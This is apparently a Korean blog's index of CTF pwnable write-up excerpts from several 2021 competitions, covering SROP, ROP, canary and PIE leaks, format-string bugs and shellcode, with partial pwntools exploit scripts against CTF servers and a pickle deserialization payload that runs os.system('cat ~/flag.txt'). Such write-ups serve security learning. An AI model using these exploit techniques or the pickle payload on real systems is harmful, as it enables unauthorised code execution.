CTF/Write UPs 29

[SanDiegoCTF 2021 : pwnable] Unique Lasso 풀이 (Sig ROP)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 하..풀릴듯 말듯 했는데 결국 못풀었었다. Analysis mitigation execution code 함수가 넘 많아서 문자열 찾기로 인풋 넣는 곳 찾았다. (main함수였네) RIP 컨트롤이 가능해서 쉽게 풀릴거 같은 느낌이다. flag를 주는 함수도 딱히 없었고해서 bss영역에다가 '/bin/sh'문자열 넣고 실행해야겠다는 생각을 하였다. Exploit Scenario Summary sys_read 호출하여 bss 영역에 '/bin/sh' 문자열 삽입 sys_sigreturn 호출 ~ (Sig ROP) 처음엔 syscall로 sys_read를 호출해서 bss영역에 /bin/sh 문자열을 쓰고난 다음에 main으로 리턴하려..

CTF/Write UPs 2021.05.10

[SanDiegoCTF 2021 : pwnable] Flag dROPper 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 문자열 찾기해서 어디서 인풋되는지도 찾고.. flag.txt도 안에 들어있는 걸 운좋게 확인했다. syscall을 바로 쓴게 인상깊다. exit 함수 안에 sys_exit를 호출한 이후, flag를 열어서 화면에 출력해준다. RIP를 exit 함수 그자체가 아닌 flag를 여는 부분으로 바꿔줘야한다. RIP를 control할 수 있는지 테스트해보니까(main 마지막에 jmp [rax]가 있음) 가능해서 바로 flag를 얻었다. from pwn import * #p = process('./flagDropper') p = remote('dropper.sdc.tf', 1337) e = ELF('./flagDropper') payloa..

CTF/Write UPs 2021.05.10

[DawgCTF 2021] 내가 푼 문제들 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro [Pwnable] Jellyspotters python pickle 취약점 기능들 막 보다가 pickle 취약점임을 확인했다. 바로 얼마전에 pickle 문제 풀었었는데, 그때도 load할 때 base64 디코딩을 했었다. 그래서 코드 복붙해서 풀었당. import pickle import base64 import os from pwn import * class Vuln(object): def __reduce__(self): return (os.system, ('cat ~/flag.txt', )) pickle_data = pickle.dumps(Vuln()) data_bytes = pickle_data.encode('ascii'..

CTF/Write UPs 2021.05.10

[2021 HSPACE CTF : Pwnable] ALL Clear! writeups (04.26 23:59 이후 공개)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 대회 정보 : - Seoul Housing BOF가 2번, system함수 plt 존재, 'sh' 문자열 존재 Summary 첫번째 BOF에서 canary leak, pie leak 두번째 BOF에서 system('sh') 실행 pie base 구하는 과정 더보기 더보기 카나리 뒤에 pie 주소가 붙어 있는 것을 확인할 수 있다. pie base와의 offset을 구해서 leak한 주소에 -0xa10을 빼면 pie base를 구할 수 있다. from pwn import * #p = process('./chall') p = remote('183.109.94.101', 9100) e = ELF('./chall') #libc = e...

CTF/Write UPs 2021.04.27

[TAMUctf 2021 : Pwnable] Shellcode_Golf, Shellcode_Golf_2 풀이 (64bit, shellcode 제작, mmap, mprotect) (수정)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 쉘코드랑 진짜 1도 안친해서 풀어보았다. 비슷한 문제라서 묶어서 풀이를 작성해본다.. Shellcode_Golf 문제 파일과 c코드를 같이 제공해 준다. mmap 함수는 메모리를 매핑시켜주는 함수이다. 12바이트만큼 권한을 0으로 설정해준다. 근데 이 권한이 만약 4라면..? (문제 푸는 것과는 관련이 없음ㅋㅋ) 더보기 더보기 rwx 중에 x권한이 있다는 것을 의미한다. 리눅스 권한과 반대인데.. 리눅스는 rwx이 421 순이지 않는가...? 얘는 124 순이다 ㅋㅋ; 그냥 tmi mprotect 함수는 원하는 코드 영역의 권한을 변경한다. 첫번째 인자인 shellcode는 0x1000의 주소여야 한다. 두번째 인자(12바이트)..

CTF/Write UPs 2021.04.26

[TAMUctf 2021 : Pwnable] 내가 푼 문제들 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro NX Oopsie 처음에 문제 실행도 안되었었는데.. 더보기 더보기 처음에 문제 실행도 안되었었다 ㅠ 저 립시 파일이 없다고 해서 저 파일을 다운받아주었다. www.python2.net/questions-1264132.htm libc.musl-x86_64.so.1 : 공유 객체 파일을 열 수 없습니다. Django 데이터베이스 마이그레이션을 실행하려고 할 때 다음 오류가 발생합니다. File "/home/xxx/virtualenv/xxx/lib64/python3.6/site-packages/drf_ujson/renderers.py", line 4, in import ujson ImportError: libc.musl-x86_64..

CTF/Write UPs 2021.04.26

[UMDCTF 2021 : Pwnable] 내가 푼 문제들 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 대회 정보 : ctftime.org/event/1288 Jump Not Easy get_flag 함수 덕에 쉽게 풀 수 있었음 from pwn import * #p = process('./JNE') p = remote('chals5.umdctf.io', 7003) e = ELF('./JNE') payload = '' payload += 'a'*(0x40+0x8) payload += p64(e.symbols['get_flag']) p.sendlineafter('\n', payload) p.interactive() Jump Is Easy 64bit ROP (shellcode) ㅎ 사실 이거 Jump Not Working문제 바이너리..

CTF/Write UPs 2021.04.17

[angstromCTF 2021 : binary] 내가 푼 문제들 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 대회 정보 : ctftime.org/event/1265 (angstromCTF 2021) Secure Login '/dev/urandom' 에서 가져온 flag와 나의 인풋값을 strcmp 함수로 비교하고 똑같으면 flag를 던져주는 문제이다. '/dev/urandom' 에서 flag를 가져오는데, 저게 뭔지 몰라서 구글링을 하다가 '/dev/urandom 취약점' 이란 연관검색어를 발견했다. 하지만 그런 취약점은 없고, /dev/urandom은 정말 무조건 랜덤(예측불가능한) 문자열을 가져온다. 여기서 삽질하지 말 것. strcmp 함수는 문자열 두개를 비교할 때 null이 아닐 경우에 한글자한글자를 비교한다. 만약 null이..

CTF/Write UPs 2021.04.08

[Securinets CTF 2021 : pwn] kill shot 풀이 (seccomp, Full RELRO)(수정)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 처음에 와 내가 절대 못풀겠다;;;;;라고 생각했었는데, 막상 풀고보니... 이 정도는 풀어야 할 것 같다............... ㅠ Summery Using fsb, leak libc/stack address __malloc_hook을 gets 함수로 덮어쓰기 malloc(stack주소) -> gets(stack주소) : BOF trigger ROP openat, read, write Analysis - 보호기법 check 보호기법은 전부 다 걸려 있다. Full RELRO에 주목해보면, 특정 함수의 got를 덮는 것은 되지 않는다. 이 때는 malloc_hook, free_hook, _rtld_global._dl_rtld..

CTF/Write UPs 2021.04.03

[picoCTF 2021 : pwn] 내가 푼 문제들 풀이

picoCTF의 pwn 중에서 푼 문제들만 간단하게 롸업 적어보려고 한다. 위의 문제 정도를 풀었는데 16문제 중 8문제.. 딱 절반만 풀었다. ㅎ Binary Gauntlet 0 fsb 트리거 풀고나서 아이다로 코드 살펴보니, 세폴 뜨면 flag 던져주는 함수가 있었다. Stonks 솔브 수는 굉장히 많았는데 그 많은 솔브 수에 비해 푸는데 정말 오래 걸렸다;;;; fsb 트리거 가능 배열 api_buf에 들어가 있는 것은 문자 하나하나가 들어가 있는 것 주소가 아님, flag 하나하나의 값 10진수나 16진수로 printable한 숫자 범위 정도는 딱 봤을 때 눈치를 까야함 너무 작은 수나 너무 큰 수가 포함 안된 경우라고 이해해도 됨 32~126 0x20~0x7e 여기서 저 빨간 네모 부분을 가져와..

CTF/Write UPs 2021.03.31